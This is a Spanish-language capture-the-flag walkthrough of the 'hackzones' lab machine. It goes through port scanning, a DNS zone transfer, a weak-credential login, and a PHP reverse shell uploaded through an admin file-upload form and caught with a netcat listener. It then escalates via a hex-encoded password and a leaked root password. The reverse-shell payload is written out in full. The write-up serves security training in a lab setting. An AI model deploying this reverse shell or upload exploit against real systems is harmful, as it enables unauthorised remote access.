CTF Hackzones Intermediate
URL Download CTF = https://drive.google.com/file/d/1v4vbcRabLahhepUYP2mM-WONLskKPjQr/view?usp=sharing
Instalación
Cuando obtenemos el .zip
nos lo pasamos al entorno en el que vamos a empezar a hackear la maquina y haremos lo siguiente.
unzip hackzones.zip
Nos lo descomprimira y despues montamos la maquina de la siguiente forma.
bash auto_mount.sh hackzones.tar
Info:
___________________¶¶
____________________¶¶__¶_5¶¶
____________5¶5__¶5__¶¶_5¶__¶¶¶5
__________5¶¶¶__¶¶5¶¶¶¶¶5¶¶__5¶¶¶5
_________¶¶¶¶__¶5¶¶¶¶¶¶¶¶¶¶¶__5¶¶¶¶5
_______5¶¶¶¶__¶¶¶¶¶¶¶¶¶¶¶_5¶¶__5¶¶¶¶¶5
______¶¶¶¶¶5_¶¶¶¶¶¶¶¶¶¶¶¶¶5¶¶¶__¶¶¶¶5¶5
_____¶¶¶¶¶¶_¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶_¶¶¶¶¶¶¶5
____¶¶¶¶¶¶¶_¶¶¶5¶¶¶¶5_¶¶¶¶¶5_5¶_¶¶¶¶¶¶¶¶5
___¶¶¶¶¶¶¶¶__5¶¶¶¶¶¶5___5¶¶¶¶__5¶¶¶¶¶¶¶¶¶5
__¶¶¶¶¶¶¶¶¶¶5__5¶¶¶¶¶¶5__5¶¶5_5¶¶¶¶¶¶¶¶¶¶¶
_5¶¶¶¶¶¶¶¶¶¶¶¶_5¶¶¶¶¶¶¶¶¶5__5¶¶¶¶¶¶¶¶¶¶¶¶¶5
_¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶_5¶¶¶¶
5¶¶¶¶¶¶¶¶¶¶¶¶5___5¶¶¶¶¶¶¶5__¶¶¶¶5_¶¶¶5_¶¶¶¶
¶¶¶¶¶¶¶¶_¶¶5_5¶5__¶¶¶¶¶¶¶¶¶5_5¶¶¶_5¶¶¶_5¶¶¶5
¶5¶¶¶¶¶5_¶¶_5¶¶¶¶¶_¶¶¶¶¶¶¶¶¶¶5_5¶¶_5¶¶¶_¶¶¶5
¶¶¶¶_¶¶__¶__¶¶¶¶¶¶5_5¶¶¶¶¶¶¶¶¶¶5_¶¶_5¶¶_5¶¶¶
¶¶¶5_5¶______5¶¶5¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶5_¶¶_5¶5_¶5¶
5¶¶____5¶¶¶¶5_____5¶¶¶¶¶¶¶5_¶¶¶¶¶5_¶__¶¶_5¶¶
_¶¶__5¶¶¶¶¶¶¶¶¶¶5____5¶¶¶¶¶¶_¶¶¶¶¶_____¶5_¶¶
_¶¶___5¶¶¶¶¶¶¶¶¶__________5¶5_¶¶¶¶¶____¶¶_¶¶
_¶¶_______5¶¶¶¶¶¶5____________¶¶¶¶¶_____¶_¶¶
_5¶5________5¶¶_¶¶¶¶5________5¶¶¶¶¶_______¶¶
__¶¶__________¶___¶¶¶¶¶5___5¶¶¶¶¶¶5_______¶5
__¶¶____________5¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶________¶
___¶________________5¶¶¶¶¶¶¶¶5_¶¶
___¶__________5¶¶¶¶¶¶¶¶5¶¶¶5__5¶5
_____________________5¶¶¶5____¶5
## ## ## #### ### ## ####### ###### #### ## ###### #####
## ## #### ## ## ## ## ## # ## ## ## #### ## ## ## ##
## ## ## ## ## ## ## ## # ## ## ## ## ## ## ## #
####### ## ## ## #### #### ##### ## ## ## ##### #####
## ## ###### ## ## ## ## # ## ## ## # ###### ## ## ##
## ## ## ## ## ## ## ## ## # ## ## ## ## ## ## ## ## ## ##
## ## ## ## #### ### ## ####### #### ## ####### ## ## ###### #####
v2.0 by d1se0
Estamos desplegando la máquina vulnerable, espere un momento.
Creador: d1se0
Maquina: hackzones
Máquina desplegada, su dirección IP es --> 172.18.0.2
Presiona Ctrl+C cuando termines con la máquina para eliminarla
Por lo que cuando terminemos de hackearla, le damos a Ctrl+C
y nos eliminara la maquina para que no se queden archivos basura.
Escaneo de puertos
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn <IP>
nmap -sCV -p<PORTS> <IP>
Info:
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-11-15 05:35 EST
Nmap scan report for 172.18.0.2
Host is up (0.000041s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 8e:a2:56:38:e1:85:2f:21:2b:55:ec:29:5b:f8:63:d9 (ECDSA)
|_ 256 0f:4b:38:fa:04:33:c7:01:5a:98:12:05:2d:42:cf:1a (ED25519)
53/tcp open domain ISC BIND 9.18.28-0ubuntu0.24.04.1 (Ubuntu Linux)
| dns-nsid:
|_ bind.version: 9.18.28-0ubuntu0.24.04.1-Ubuntu
80/tcp open http Apache httpd 2.4.58 ((Ubuntu))
|_http-server-header: Apache/2.4.58 (Ubuntu)
|_http-title: HackZones.hl - Seguridad para tu Empresa
MAC Address: 02:42:AC:12:00:02 (Unknown)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 14.50 seconds
Si probamos a ver la pagina web que tiene abierta, veremos que a simple vista no vemos nada interesante, pero si inspeccionamos el codigo, veremos la siguiente parte:
<a href="#" style="position: absolute; left: -9999px;">
<img src="data:image/png;TlM6IGhhY2t6b25lLmhs" alt="HackZone">
</a>
Es bastante interesante la cadena TlM6IGhhY2t6b25lLmhs
parece un Base64
, por lo que si lo decodificamos, veremos lo siguiente:
NS: hackzone.hl
Parece ser como que nos da un Name Server
de algun dominio llamado hackzone.hl
, pero si lo probamos a poner en el hosts
y buscarlo por ese dominio, no va a funcionar, ya que si nos bajamos un poco mas en el footer
de la pagina, veremos otro dominio llamado hackzones.hl
que ese si nos llevara a un login de lo que parece unos servidores DNS
:
Dominio puerto 80
Por lo que meteremos ese ultimo dominio en el archivo hosts
:
nano /etc/hosts
#Dentro del nano
<IP> hackzones.hl
Lo guardamos y ahora lo buscaremos en el navegador web.
URL = http://hackzones.hl/
Como dije antes parece ser un login de unos servidores DNS
y sabiendo que el puerto 53
esta abierto, vamos a probar a extraer la informacion del archivo de zona
de los servidores DNS
(ZoneTransfer
) por lo que probaremos con el dominio que no nos funciono llamado hackzone.hl
.
Transferencia de zona del archivo DNS
Pondremos el siguiente comando:
dig @<IP> hackzone.hl AXFR
Info:
; <<>> DiG 9.20.2-1-Debian <<>> @172.19.0.2 hackzone.hl AXFR
; (1 server found)
;; global options: +cmd
hackzone.hl. 604800 IN SOA ns.hackzone.hl. root.hackzone.hl. 2 604800 86400 2419200 604800
hackzone.hl. 604800 IN NS ns.hackzone.hl.
flag.hackzone.hl. 604800 IN TXT "FLAG{05964683-55675-23423-985046}"
ns.hackzone.hl. 604800 IN A 127.0.0.1
User.hackzone.hl. 604800 IN TXT "mrRobot@hackzone.hl"
www.hackzone.hl. 604800 IN A 127.0.0.1
hackzone.hl. 604800 IN SOA ns.hackzone.hl. root.hackzone.hl. 2 604800 86400 2419200 604800
;; Query time: 0 msec
;; SERVER: 172.19.0.2#53(172.19.0.2) (TCP)
;; WHEN: Fri Nov 15 05:48:28 EST 2024
;; XFR size: 7 records (messages 1, bytes 286)
Por lo que vemos hay como una cuenta de correo llamada mrRobot@hackzone.hl
pero en el login nos pide un usuario, por lo que vamos a meter como usuario mrRobot
y como contraseña, nos servira el propio dominio que tiene asociado en el correo llamado hackzone.hl
.
User = mrRobot
Pass = hackzone.hl
Esto nos llevara a un panel de administrador, en el que si vemos el perfil del administrador no tiene imagen y encima podemos subir un archivo, por lo que probaremos a subir un .php
con una reverse shell
:
Escalate user www-data
<?php
$sock=fsockopen("<IP>",<PORT>);$proc=proc_open("sh", array(0=>$sock, 1=>$sock, 2=>$sock),$pipes);
?>
Ahora teniendo el archivo, le daremos a Browser
, seleccionamos el archivo .php
que creamos, y le daremos a Subir Archivo
, si todo a salido bien nos pondra un pensaje en una pagina lo siguiente:
El archivo shell.php se ha subido correctamente.
Ahora si nos vamos por intuicion a la tipica carpeta llamada uploads/
podremos ver que si existe, igualmente se puede hacer con Gobuster
.
Nos pondremos antes a la escucha:
nc -lvnp <PORT>
Y ahora ejecutaremos el archivo .php
:
URL = http://hackzones.hl/uploads/shell.php
Y si volvemos a donde teniamos la escucha veremos algo tal que asi:
listening on [any] 7777 ...
connect to [192.168.5.147] from (UNKNOWN) [172.19.0.2] 39948
whoami
www-data
Por lo que ya seremos el usuario www-data
.
Escalate user mrrobot
Si nos vamos a la siguiente direccion, veremos una carpeta bastante rara.
cd /var/www/html/
Veremos una carpeta llamada supermegaultrasecretfolder
, si entramos dentro de ella, veremos un archivo llamado secret.sh
, pero si lo intentamos ejecutar, nos pone que solo se puede como root
:
Este script debe ser ejecutado como root.
Pero si nos dejara leerlo:
#!/bin/bash
if [ "$(id -u)" -ne 0 ]; then
echo "Este script debe ser ejecutado como root."
exit 1
fi
p1=$(echo -e "\x50\x61\x73\x73\x77\x6f\x72\x64")
p2="\x40"
p3="\x24\x24"
p4="\x21\x31\x32\x33"
echo -e "${p1}${p2}${p3}${p4}"
Vemos lo que parece una frase codificada, si lo decodificamos se veria algo tal que asi:
Password@$$!123
Por lo que parece una contraseña, probaremos a meterla para el usuario mrrobot
.
su mrrobot
Y vemos que ya somos dicho usuario, por lo que leeremos la flag.
user.txt
c187e24646744125f041582154a534bb
Escalate Privileges
Si hacemos sudo -l
veremos lo siguiente:
Matching Defaults entries for mrrobot on 3e83d48104c8:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
use_pty
User mrrobot may run the following commands on 3e83d48104c8:
(ALL : ALL) NOPASSWD: /usr/bin/cat
Por lo que vemos podemos ejecutar el binario cat
como root
, si nos vamos a la siguiente directorio:
cd /opt
Veremos un archivo llamado SistemUpdate
el cual tiene los siguientes permisos:
-rw------- 1 root root 1827 Nov 15 11:28 SistemUpdate
Por lo que utilizaremos cat
como root
para poder leerlo:
sudo cat SistemUpdate
Info:
Reading package lists... Done
Building dependency tree
Reading state information... Done
Calculating upgrade... Done
The following packages will be upgraded:
libc-bin libc-dev-bin libc6 libc6-dev libc6-i386
5 upgraded, 0 newly installed, 0 to remove and 0 not upgraded.
Need to get 8,238 kB of archives.
After this operation, 1,024 B of additional disk space will be used.
Do you want to continue? [Y/n] y
Get:1 http://archive.ubuntu.com/ubuntu focal-updates/main amd64 libc6 amd64 2.31-0ubuntu9.9 [2,737 kB]
Get:2 http://archive.ubuntu.com/ubuntu focal-updates/main amd64 libc-bin amd64 2.31-0ubuntu9.9 [635 kB]
Get:3 http://archive.ubuntu.com/ubuntu focal-updates/main amd64 libc6-dev amd64 2.31-0ubuntu9.9 [2,622 kB]
Get:4 http://archive.ubuntu.com/ubuntu focal-updates/main amd64 libc-dev-bin amd64 2.31-0ubuntu9.9 [189 kB]
Fetched 8,238 kB in 2s (4,119 kB/s)
Extracting user root:rooteable from packages: 50%
Extracting templates from packages: 100%
Preconfiguring packages ...
(Reading database ... 275198 files and directories currently installed.)
Preparing to unpack .../libc6_2.31-0ubuntu9.9_amd64.deb ...
Unpacking libc6:amd64 (2.31-0ubuntu9.9) over (2.31-0ubuntu9.8) ...
Preparing to unpack .../libc-bin_2.31-0ubuntu9.9_amd64.deb ...
Unpacking libc-bin (2.31-0ubuntu9.9) over (2.31-0ubuntu9.8) ...
Preparing to unpack .../libc6-dev_2.31-0ubuntu9.9_amd64.deb ...
Unpacking libc6-dev:amd64 (2.31-0ubuntu9.9) over (2.31-0ubuntu9.8) ...
Preparing to unpack .../libc-dev-bin_2.31-0ubuntu9.9_amd64.deb ...
Unpacking libc-dev-bin (2.31-0ubuntu9.9) over (2.31-0ubuntu9.8) ...
Setting up libc6:amd64 (2.31-0ubuntu9.9) ...
Setting up libc-bin (2.31-0ubuntu9.9) ...
Setting up libc-dev-bin (2.31-0ubuntu9.9) ...
Setting up libc6-dev:amd64 (2.31-0ubuntu9.9) ...
Processing triggers for libc-bin (2.31-0ubuntu9.9) ...
Veremos todo esto, pero si nos centramos en la siguiente linea:
Extracting user root:rooteable from packages: 50%
Vemos lo que parece la contraseña de root
, por lo que probaremos a usarla con root
:
su root
Ponemos rooteable
y como veremos ya seremos root
, por lo que leeremos la flag.
cd ~
TrueRoot.txt
f034967ad357f8f912740101d3af5e71
Last updated